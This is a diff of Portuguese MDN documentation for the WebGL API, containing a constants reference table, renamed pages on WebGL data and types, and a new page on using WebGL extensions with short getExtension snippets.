COLOR_ATTACHMENT10x8CE1 
COLOR_ATTACHMENT20x8CE2 
COLOR_ATTACHMENT30x8CE3 
COLOR_ATTACHMENT40x8CE4 
COLOR_ATTACHMENT50x8CE5 
COLOR_ATTACHMENT60x8CE6 
COLOR_ATTACHMENT70x8CE7 
COLOR_ATTACHMENT80x8CE8 
COLOR_ATTACHMENT90x8CE9 
COLOR_ATTACHMENT100x8CEA 
COLOR_ATTACHMENT110x8CEB 
COLOR_ATTACHMENT120x8CEC 
COLOR_ATTACHMENT130x8CED 
COLOR_ATTACHMENT140x8CEE 
COLOR_ATTACHMENT150x8CEF 
+ +

Samplers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
SAMPLER_3D0x8B5F 
SAMPLER_2D_SHADOW0x8B62 
SAMPLER_2D_ARRAY0x8DC1 
SAMPLER_2D_ARRAY_SHADOW0x8DC4 
SAMPLER_CUBE_SHADOW0x8DC5 
INT_SAMPLER_2D0x8DCA 
INT_SAMPLER_3D0x8DCB 
INT_SAMPLER_CUBE0x8DCC 
INT_SAMPLER_2D_ARRAY0x8DCF 
UNSIGNED_INT_SAMPLER_2D0x8DD2 
UNSIGNED_INT_SAMPLER_3D0x8DD3 
UNSIGNED_INT_SAMPLER_CUBE0x8DD4 
UNSIGNED_INT_SAMPLER_2D_ARRAY0x8DD7 
MAX_SAMPLES0x8D57 
SAMPLER_BINDING0x8919 
+ +

Buffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
PIXEL_PACK_BUFFER0x88EB 
PIXEL_UNPACK_BUFFER0x88EC 
PIXEL_PACK_BUFFER_BINDING0x88ED 
PIXEL_UNPACK_BUFFER_BINDING 0x88EF 
COPY_READ_BUFFER0x8F36 
COPY_WRITE_BUFFER0x8F37 
COPY_READ_BUFFER_BINDING0x8F36 
COPY_WRITE_BUFFER_BINDING0x8F37 
+ +

Tipos de dados

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FLOAT_MAT2x30x8B65 
FLOAT_MAT2x40x8B66 
FLOAT_MAT3x20x8B67 
FLOAT_MAT3x4 0x8B68 
FLOAT_MAT4x20x8B69 
FLOAT_MAT4x30x8B6A 
UNSIGNED_INT_VEC20x8DC6 
UNSIGNED_INT_VEC30x8DC7 
UNSIGNED_INT_VEC40x8DC8 
UNSIGNED_NORMALIZED0x8C17 
SIGNED_NORMALIZED0x8F9C 
+ +

Atributos de Vertex

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_INTEGER 0x88FD 
VERTEX_ATTRIB_ARRAY_DIVISOR0x88FE 
+ +

Transform feedback

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
TRANSFORM_FEEDBACK_BUFFER_MODE0x8C7F 
MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS0x8C80 
TRANSFORM_FEEDBACK_VARYINGS0x8C83 
TRANSFORM_FEEDBACK_BUFFER_START0x8C84 
TRANSFORM_FEEDBACK_BUFFER_SIZE0x8C85 
TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN0x8C88 
MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS0x8C8A 
MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS0x8C8B 
INTERLEAVED_ATTRIBS0x8C8C 
SEPARATE_ATTRIBS0x8C8D 
TRANSFORM_FEEDBACK_BUFFER0x8C8E 
TRANSFORM_FEEDBACK_BUFFER_BINDING0x8C8F 
TRANSFORM_FEEDBACK0x8E22 
TRANSFORM_FEEDBACK_PAUSED0x8E23 
TRANSFORM_FEEDBACK_ACTIVE0x8E24 
TRANSFORM_FEEDBACK_BINDING0x8E25 
+ +

Framebuffers e renderbuffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING0x8210 
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE0x8211 
FRAMEBUFFER_ATTACHMENT_RED_SIZE0x8212 
FRAMEBUFFER_ATTACHMENT_GREEN_SIZE0x8213 
FRAMEBUFFER_ATTACHMENT_BLUE_SIZE0x8214 
FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE0x8215 
FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE0x8216 
FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE0x8217 
FRAMEBUFFER_DEFAULT0x8218 
DEPTH_STENCIL_ATTACHMENT0x821A 
DEPTH_STENCIL0x84F9 
DEPTH24_STENCIL80x88F0 
DRAW_FRAMEBUFFER_BINDING0x8CA6 
READ_FRAMEBUFFER0x8CA8 
DRAW_FRAMEBUFFER0x8CA9 
READ_FRAMEBUFFER_BINDING0x8CAA 
RENDERBUFFER_SAMPLES0x8CAB 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER0x8CD4 
FRAMEBUFFER_INCOMPLETE_MULTISAMPLE0x8D56 
+ +

Uniforms

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNIFORM_BUFFER0x8A11 
UNIFORM_BUFFER_BINDING0x8A28 
UNIFORM_BUFFER_START0x8A29 
UNIFORM_BUFFER_SIZE0x8A2A 
MAX_VERTEX_UNIFORM_BLOCKS0x8A2B 
MAX_FRAGMENT_UNIFORM_BLOCKS0x8A2D 
MAX_COMBINED_UNIFORM_BLOCKS0x8A2E 
MAX_UNIFORM_BUFFER_BINDINGS0x8A2F 
MAX_UNIFORM_BLOCK_SIZE0x8A30 
MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS0x8A31 
MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS0x8A33 
UNIFORM_BUFFER_OFFSET_ALIGNMENT0x8A34 
ACTIVE_UNIFORM_BLOCKS0x8A36 
UNIFORM_TYPE 0x8A37 
UNIFORM_SIZE0x8A38 
UNIFORM_BLOCK_INDEX0x8A3A 
UNIFORM_OFFSET0x8A3B 
UNIFORM_ARRAY_STRIDE0x8A3C 
UNIFORM_MATRIX_STRIDE0x8A3D 
UNIFORM_IS_ROW_MAJOR0x8A3E 
UNIFORM_BLOCK_BINDING0x8A3F 
UNIFORM_BLOCK_DATA_SIZE0x8A40 
UNIFORM_BLOCK_ACTIVE_UNIFORMS0x8A42 
UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES0x8A43 
UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER0x8A44 
UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER0x8A46 
+ +

Objetos de sincronização

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
OBJECT_TYPE0x9112 
SYNC_CONDITION0x9113 
SYNC_STATUS0x9114 
SYNC_FLAGS0x9115 
SYNC_FENCE0x9116 
SYNC_GPU_COMMANDS_COMPLETE0x9117 
UNSIGNALED0x9118 
SIGNALED0x9119 
ALREADY_SIGNALED0x911A 
TIMEOUT_EXPIRED0x911B 
CONDITION_SATISFIED0x911C 
WAIT_FAILED0x911D 
SYNC_FLUSH_COMMANDS_BIT0x00000001 
+ +

Constantes diversas

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COLOR0x1800 
DEPTH0x1801 
STENCIL0x1802 
MIN0x8007 
MAX0x8008 
DEPTH_COMPONENT240x81A6 
STREAM_READ0x88E1 
STREAM_COPY0x88E2 
STATIC_READ0x88E5 
STATIC_COPY0x88E6 
DYNAMIC_READ0x88E9 
DYNAMIC_COPY0x88EA 
DEPTH_COMPONENT32F0x8CAC 
DEPTH32F_STENCIL80x8CAD 
INVALID_INDEX0xFFFFFFFF 
TIMEOUT_IGNORED-1 
MAX_CLIENT_WAIT_TIMEOUT_WEBGL0x9247 
+ +

Constantes definidas nas extensões de WebGL

+ +

{{domxref("ANGLE_instanced_arrays")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE0x88FEDescribes the frequency divisor used for instanced rendering.
+ +

{{domxref("WEBGL_debug_renderer_info")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNMASKED_VENDOR_WEBGL0x9245Passed to getParameter to get the vendor string of the graphics driver.
UNMASKED_RENDERER_WEBGL0x9246Passed to getParameter to get the renderer string of the graphics driver.
+ +

{{domxref("EXT_texture_filter_anisotropic")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MAX_TEXTURE_MAX_ANISOTROPY_EXT0x84FFReturns the maximum available anisotropy.
TEXTURE_MAX_ANISOTROPY_EXT0x84FEPassed to texParameter to set the desired maximum anisotropy for a texture.
+ +

{{domxref("WEBGL_compressed_texture_s3tc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_S3TC_DXT1_EXT0x83F0A DXT1-compressed image in an RGB image format.
COMPRESSED_RGBA_S3TC_DXT1_EXT0x83F1A DXT1-compressed image in an RGB image format with a simple on/off alpha value.
COMPRESSED_RGBA_S3TC_DXT3_EXT0x83F2A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression.
COMPRESSED_RGBA_S3TC_DXT5_EXT0x83F3A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done.
+ +

{{domxref("WEBGL_compressed_texture_etc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_R11_EAC0x9270One-channel (red) unsigned format compression.
COMPRESSED_SIGNED_R11_EAC0x9271One-channel (red) signed format compression.
COMPRESSED_RG11_EAC0x9272Two-channel (red and green) unsigned format compression.
COMPRESSED_SIGNED_RG11_EAC0x9273Two-channel (red and green) signed format compression.
COMPRESSED_RGB8_ETC20x9274Compresses RBG8 data with no alpha channel.
COMPRESSED_RGBA8_ETC2_EAC0x9275Compresses RGBA8 data. The RGB part is encoded the same as RGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_SRGB8_ETC20x9276Compresses sRBG8 data with no alpha channel.
COMPRESSED_SRGB8_ALPHA8_ETC2_EAC0x9277Compresses sRGBA8 data. The sRGB part is encoded the same as SRGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC20x9278Similar to RGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC20x9279Similar to SRGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
+ +

{{domxref("WEBGL_compressed_texture_pvrtc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_PVRTC_4BPPV1_IMG0x8C00RGB compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGBA_PVRTC_4BPPV1_IMG0x8C02RGBA compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGB_PVRTC_2BPPV1_IMG0x8C01RGB compression in 2-bit mode. One block for each 8×4 pixels.
COMPRESSED_RGBA_PVRTC_2BPPV1_IMG0x8C03RGBA compression in 2-bit mode. One block for each 8×4 pixe
+ +

{{domxref("WEBGL_compressed_texture_etc1")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_ETC1_WEBGL0x8D64Compresses 24-bit RGB data with no alpha channel.
+ +

{{domxref("WEBGL_compressed_texture_atc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_ATC_WEBGL0x8C92Compresses RGB textures with no alpha channel.
COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL0x8C92Compresses RGBA textures using explicit alpha encoding (useful when alpha transitions are sharp).
COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL0x87EECompresses RGBA textures using interpolated alpha encoding (useful when alpha transitions are gradient).
+ +

{{domxref("WEBGL_depth_texture")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNSIGNED_INT_24_8_WEBGL0x84FAUnsigned integer type for 24-bit depth texture data.
+ +

{{domxref("OES_texture_half_float")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
HALF_FLOAT_OES0x8D61Half floating-point type (16-bit).
+ +

{{domxref("WEBGL_color_buffer_float")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
RGBA32F_EXT0x8814RGBA 32-bit floating-point color-renderable format.
RGB32F_EXT0x8815RGB 32-bit floating-point color-renderable format.
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT0x8211 
UNSIGNED_NORMALIZED_EXT0x8C17 
+ +

{{domxref("EXT_blend_minmax")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MIN_EXT0x8007Produces the minimum color components of the source and destination colors.
MAX_EXT0x8008Produces the maximum color components of the source and destination colors.
+ +

{{domxref("EXT_sRGB")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
SRGB_EXT0x8C40Unsized sRGB format that leaves the precision up to the driver.
SRGB_ALPHA_EXT0x8C42Unsized sRGB format with unsized alpha component.
SRGB8_ALPHA8_EXT0x8C43Sized (8-bit) sRGB and alpha formats.
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT0x8210Returns the framebuffer color encoding.
+ +

{{domxref("OES_standard_derivatives")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAGMENT_SHADER_DERIVATIVE_HINT_OES0x8B8BIndicates the accuracy of the derivative calculation for the GLSL built-in functions: dFdx, dFdy, and fwidth.
+ +

{{domxref("WEBGL_draw_buffers")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COLOR_ATTACHMENT0_WEBGL0x8CE0Framebuffer color attachment point
COLOR_ATTACHMENT1_WEBGL0x8CE1Framebuffer color attachment point
COLOR_ATTACHMENT2_WEBGL0x8CE2Framebuffer color attachment point
COLOR_ATTACHMENT3_WEBGL0x8CE3Framebuffer color attachment point
COLOR_ATTACHMENT4_WEBGL0x8CE4Framebuffer color attachment point
COLOR_ATTACHMENT5_WEBGL0x8CE5Framebuffer color attachment point
COLOR_ATTACHMENT6_WEBGL0x8CE6Framebuffer color attachment point
COLOR_ATTACHMENT7_WEBGL0x8CE7Framebuffer color attachment point
COLOR_ATTACHMENT8_WEBGL0x8CE8Framebuffer color attachment point
COLOR_ATTACHMENT9_WEBGL0x8CE9Framebuffer color attachment point
COLOR_ATTACHMENT10_WEBGL0x8CEAFramebuffer color attachment point
COLOR_ATTACHMENT11_WEBGL0x8CEBFramebuffer color attachment point
COLOR_ATTACHMENT12_WEBGL0x8CECFramebuffer color attachment point
COLOR_ATTACHMENT13_WEBGL0x8CEDFramebuffer color attachment point
COLOR_ATTACHMENT14_WEBGL0x8CEEFramebuffer color attachment point
COLOR_ATTACHMENT15_WEBGL0x8CEFFramebuffer color attachment point
DRAW_BUFFER0_WEBGL0x8825Draw buffer
DRAW_BUFFER1_WEBGL0x8826Draw buffer
DRAW_BUFFER2_WEBGL0x8827Draw buffer
DRAW_BUFFER3_WEBGL0x8828Draw buffer
DRAW_BUFFER4_WEBGL0x8829Draw buffer
DRAW_BUFFER5_WEBGL0x882ADraw buffer
DRAW_BUFFER6_WEBGL0x882BDraw buffer
DRAW_BUFFER7_WEBGL0x882CDraw buffer
DRAW_BUFFER8_WEBGL0x882DDraw buffer
DRAW_BUFFER9_WEBGL0x882EDraw buffer
DRAW_BUFFER10_WEBGL0x882FDraw buffer
DRAW_BUFFER11_WEBGL0x8830Draw buffer
DRAW_BUFFER12_WEBGL0x8831Draw buffer
DRAW_BUFFER13_WEBGL0x8832Draw buffer
DRAW_BUFFER14_WEBGL0x8833Draw buffer
DRAW_BUFFER15_WEBGL0x8834Draw buffer
MAX_COLOR_ATTACHMENTS_WEBGL0x8CDFMaximum number of framebuffer color attachment points
MAX_DRAW_BUFFERS_WEBGL0x8824Maximum number of draw buffers
+ +

{{domxref("OES_vertex_array_object")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ARRAY_BINDING_OES0x85B5The bound vertex array object (VAO).
+ +

{{domxref("EXT_disjoint_timer_query")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome da constanteValorDescrição
QUERY_COUNTER_BITS_EXT0x8864The number of bits used to hold the query result for the given target.
CURRENT_QUERY_EXT0x8865The currently active query.
QUERY_RESULT_EXT0x8866The query result.
QUERY_RESULT_AVAILABLE_EXT0x8867A Boolean indicating whether or not a query result is available.
TIME_ELAPSED_EXT0x88BFElapsed time (in nanoseconds).
TIMESTAMP_EXT0x8E28The current time.
GPU_DISJOINT_EXT0x8FBBA Boolean indicating whether or not the GPU performed any disjoint operation.
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}{{Spec2('WebGL2')}}Defines additional constants.
+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/webgl_api/dados/index.html b/files/pt-pt/web/api/webgl_api/dados/index.html deleted file mode 100644 index 8257367513..0000000000 --- a/files/pt-pt/web/api/webgl_api/dados/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Dados em WebGL -slug: Web/API/WebGL_API/Dados -tags: - - 3D - - API de WebGL - - Atributos - - Desenho - - Gráficos 3D - - Guía - - Intermediário - - Uniforms - - Varyings - - WebGL - - graficos -translation_of: Web/API/WebGL_API/Data ---- -
{{WebGLSidebar}}{{draft}}
- -

Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's JavaScript code, depending on the specific type of variable.

- -

Tipos de dados GLSL

- -

<<document the basic types, vectors, etc; see Data Type (GLSL) on the Khronos WebGL wiki>>

- -

Variáveis de GLSL

- -

There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: {{anch("Attributes", "attributes")}}, {{anch("Varyings", "varyings")}}, and {{anch("Uniforms", "uniforms")}}.

- -

Atributos

- -

Attributes are GLSL variables which are only available to the vertex shader (as variables) and the JavaScript code. Attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the JavaScript code and the vertex shader.

- -

<<add how to use them>>

- -

Varyings

- -

Varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. This is commonly used to share a vertex's {{interwiki("wikipedia", "Normal_(geometry)", "normal vector")}} after it has been computed by the vertex shader.

- -

<<how to use>>

- -

Uniforms

- -

Uniforms are set by the JavaScript code and are available to both the vertex and fragment shaders. They're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth.

- -

<<add details>>

- -

Buffers

- -

<<add information>>

- -

Texturas

- -

<<add information>>

- -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/data/index.html b/files/pt-pt/web/api/webgl_api/data/index.html new file mode 100644 index 0000000000..8257367513 --- /dev/null +++ b/files/pt-pt/web/api/webgl_api/data/index.html @@ -0,0 +1,133 @@ +--- +title: Dados em WebGL +slug: Web/API/WebGL_API/Dados +tags: + - 3D + - API de WebGL + - Atributos + - Desenho + - Gráficos 3D + - Guía + - Intermediário + - Uniforms + - Varyings + - WebGL + - graficos +translation_of: Web/API/WebGL_API/Data +--- +
{{WebGLSidebar}}{{draft}}
+ +

Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's JavaScript code, depending on the specific type of variable.

+ +

Tipos de dados GLSL

+ +

<<document the basic types, vectors, etc; see Data Type (GLSL) on the Khronos WebGL wiki>>

+ +

Variáveis de GLSL

+ +

There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: {{anch("Attributes", "attributes")}}, {{anch("Varyings", "varyings")}}, and {{anch("Uniforms", "uniforms")}}.

+ +

Atributos

+ +

Attributes are GLSL variables which are only available to the vertex shader (as variables) and the JavaScript code. Attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the JavaScript code and the vertex shader.

+ +

<<add how to use them>>

+ +

Varyings

+ +

Varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. This is commonly used to share a vertex's {{interwiki("wikipedia", "Normal_(geometry)", "normal vector")}} after it has been computed by the vertex shader.

+ +

<<how to use>>

+ +

Uniforms

+ +

Uniforms are set by the JavaScript code and are available to both the vertex and fragment shaders. They're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth.

+ +

<<add details>>

+ +

Buffers

+ +

<<add information>>

+ +

Texturas

+ +

<<add information>>

+ +
+ + + + + +
diff --git a/files/pt-pt/web/api/webgl_api/tipos/index.html b/files/pt-pt/web/api/webgl_api/tipos/index.html deleted file mode 100644 index a1762958ae..0000000000 --- a/files/pt-pt/web/api/webgl_api/tipos/index.html +++ /dev/null @@ -1,242 +0,0 @@ ---- -title: Tipos de WebGL -slug: Web/API/WebGL_API/Tipos -translation_of: Web/API/WebGL_API/Types ---- -
{{WebGLSidebar}}
- -

Os seguintes tipos são utilizados nas interfaces de WebGL.

- -

WebGL 1

- -

These types are used within a {{domxref("WebGLRenderingContext")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TipoTipo de IDL WebDescrição
GLenumunsigned longUsed for enums. See also the list of constants.
GLbooleanbooleanA {{jsxref("Boolean")}}.
GLbitfieldunsigned longA bit field that stores multiple, logical bits. Used for example in {{domxref("WebGLRenderingContext.clear()")}}.
GLbytebyte8-bit twos complement signed integer.
GLshortshort16-bit twos complement signed integer.
GLintlong32-bit twos complement signed integer.
GLsizeilongUsed for sizes (e.g. width and height of the drawing buffer).
GLintptrlong longSpecial type for pointer arithmetic.
GLsizeiptrlong longSpecial type for pointer arithmetic.
GLubyteoctet8-bit twos complement unsigned integer.
GLushortunsigned short16-bit twos complement unsigned integer.
GLuintunsigned long32-bit twos complement unsigned integer.
GLfloatunrestricted float32-bit IEEE floating point number.
GLclampfunrestricted floatClamped 32-bit IEEE floating point number.
- -

WebGL 2

- -

These types are used within a {{domxref("WebGL2RenderingContext")}}. All WebGL 1 types are used as well.

- - - - - - - - - - - - - - -
TipoTipo IDL WebDescrição
GLint64long longSigned 64-bit integer number.
- -

WebGL extensions

- -

Estes tipos são utilziados dentro das extensões de WebGL.

- - - - - - - - - - - - - - -
TipoTipo de IDL WebDescrição
GLuint64EXTlong longUnsigned 64-bit integer number.
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.1", "Types")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.1", "Types")}}{{Spec2('WebGL2')}}Defines additional types.
{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}{{Spec2('EXT_disjoint_timer_query')}}Adds GLuint64EXT
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/types/index.html b/files/pt-pt/web/api/webgl_api/types/index.html new file mode 100644 index 0000000000..a1762958ae --- /dev/null +++ b/files/pt-pt/web/api/webgl_api/types/index.html @@ -0,0 +1,242 @@ +--- +title: Tipos de WebGL +slug: Web/API/WebGL_API/Tipos +translation_of: Web/API/WebGL_API/Types +--- +
{{WebGLSidebar}}
+ +

Os seguintes tipos são utilizados nas interfaces de WebGL.

+ +

WebGL 1

+ +

These types are used within a {{domxref("WebGLRenderingContext")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TipoTipo de IDL WebDescrição
GLenumunsigned longUsed for enums. See also the list of constants.
GLbooleanbooleanA {{jsxref("Boolean")}}.
GLbitfieldunsigned longA bit field that stores multiple, logical bits. Used for example in {{domxref("WebGLRenderingContext.clear()")}}.
GLbytebyte8-bit twos complement signed integer.
GLshortshort16-bit twos complement signed integer.
GLintlong32-bit twos complement signed integer.
GLsizeilongUsed for sizes (e.g. width and height of the drawing buffer).
GLintptrlong longSpecial type for pointer arithmetic.
GLsizeiptrlong longSpecial type for pointer arithmetic.
GLubyteoctet8-bit twos complement unsigned integer.
GLushortunsigned short16-bit twos complement unsigned integer.
GLuintunsigned long32-bit twos complement unsigned integer.
GLfloatunrestricted float32-bit IEEE floating point number.
GLclampfunrestricted floatClamped 32-bit IEEE floating point number.
+ +

WebGL 2

+ +

These types are used within a {{domxref("WebGL2RenderingContext")}}. All WebGL 1 types are used as well.

+ + + + + + + + + + + + + + +
TipoTipo IDL WebDescrição
GLint64long longSigned 64-bit integer number.
+ +

WebGL extensions

+ +

Estes tipos são utilziados dentro das extensões de WebGL.

+ + + + + + + + + + + + + + +
TipoTipo de IDL WebDescrição
GLuint64EXTlong longUnsigned 64-bit integer number.
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.1", "Types")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.1", "Types")}}{{Spec2('WebGL2')}}Defines additional types.
{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}{{Spec2('EXT_disjoint_timer_query')}}Adds GLuint64EXT
+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/webgl_api/using_extensions/index.html b/files/pt-pt/web/api/webgl_api/using_extensions/index.html new file mode 100644 index 0000000000..a8bbe535d2 --- /dev/null +++ b/files/pt-pt/web/api/webgl_api/using_extensions/index.html @@ -0,0 +1,718 @@ +--- +title: Utilizar extensões de WebGL +slug: Web/API/WebGL_API/Utilizar_Extensões +tags: + - Avançado + - WebGL +translation_of: Web/API/WebGL_API/Using_Extensions +--- +
{{WebGLSidebar}}
+ +

WebGL, like its sister APIs (OpenGL and OpenGL ES), supports extensions. A complete list of extensions is available in the khronos webgl extension registry.

+ +
Nota: In WebGL, unlike in other GL APIs, extensions are only available if explicitly requested.
+ +

Nomes de extensão canónica, prefixos e preferências da empresa

+ +

Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (MOZ_, WEBKIT_, etc.) or the extension is only available once a browser preference has been toggled.

+ +

If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance:

+ +
var ext = (
+  gl.getExtension('OES_vertex_array_object') ||
+  gl.getExtension('MOZ_OES_vertex_array_object') ||
+  gl.getExtension('WEBKIT_OES_vertex_array_object')
+);
+
+ +

Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix.

+ +

The feature flags are:

+ + + +

Convenções de nomeação

+ +

WebGL extensions are prefixed with "ANGLE", "OES", "EXT" or "WEBGL". These prefixes reflect origin and intent:

+ + + +

Extensões de consulta disponíveis

+ +

O contexto de WebGL suporta a consulta de quais as extensões que estão disponíveis.

+ +
var available_extensions = gl.getSupportedExtensions();
+ +

The {{domxref("WebGLRenderingContext.getSupportedExtensions()")}} method returns an array of strings, one for each supported extension.

+ +

Lista de extensões

+ +

As extensões atuais são:

+ +

{{page("pt-PT/docs/Web/API/WebGL_API", "Extensões")}}

+ +

Ativar uma extensão

+ +

Before an extension can be used it has to be enabled using {{domxref("WebGLRenderingContext.getExtension()")}}. For example:

+ +
var float_texture_ext = gl.getExtension('OES_texture_float');
+ +

The return value is null if the extension is not supported, or an extension object otherwise.

+ +

Objetos de extensão

+ +

If an extension defines specific symbols or functions that are not available in the core specification of WebGL, they will be available on the extension object returned by the call to gl.getExtension().

+ +

Compatibilidade de navegador

+ +

{{CompatibilityTable}}

+ +
